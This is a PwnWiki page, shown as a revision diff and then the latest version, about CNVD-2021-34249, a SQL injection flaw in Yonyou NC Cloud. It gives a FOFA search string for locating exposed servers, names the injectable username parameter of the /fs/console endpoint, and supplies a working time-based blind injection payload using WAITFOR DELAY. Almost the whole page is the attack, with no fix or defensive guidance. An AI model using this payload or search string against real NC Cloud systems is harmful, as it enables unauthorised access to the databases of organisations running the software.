Difference between revisions of "CNVD-2021-34249 用友NC Cloud SQL注入漏洞"
From PwnWiki
| (3 intermediate revisions by the same user not shown) | |||
| Line 11: | Line 11: | ||
</pre> | </pre> | ||
| − | |||
<translate> | <translate> | ||
| + | ==漏洞位置== <!--T:3--> | ||
| + | </translate> | ||
| + | <translate> | ||
| + | <!--T:2--> | ||
⚠️️username處可以注入。 | ⚠️️username處可以注入。 | ||
</translate> | </translate> | ||
<pre> | <pre> | ||
/fs/console?username=admin&password=123456 | /fs/console?username=admin&password=123456 | ||
| + | </pre> | ||
| + | |||
| + | |||
| + | ==Payload== | ||
| + | <pre> | ||
| + | /fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456 | ||
</pre> | </pre> | ||
Latest revision as of 16:06, 10 June 2021
影響版本
NC Cloud
FOFA
"NCCloud"
漏洞位置
⚠️️username處可以注入。
/fs/console?username=admin&password=123456
Payload
/fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456
